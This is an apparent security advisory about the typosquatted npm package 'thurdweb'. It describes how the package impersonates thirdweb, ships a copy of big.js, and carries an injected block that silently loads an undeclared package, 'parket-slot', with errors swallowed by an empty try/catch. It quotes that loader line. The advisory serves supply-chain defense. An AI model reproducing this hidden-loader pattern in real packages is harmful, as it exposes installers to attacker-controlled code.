Malicious code in thurdweb (npm)
-= Per source details. Do not edit below this line.=-
Package name thurdweb is a one-character substitution of the popular web3 SDK thirdweb, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (big.js / big.mjs lines 605-608) contains an injected top-level block that fires on require('thurdweb') / import 'thurdweb': try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. parket-slot is not declared in package.json dependencies, and the entire call is wrapped in an empty try/catch that silently swallows every error. package.json additionally declares log-taker@^0.0.9 as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준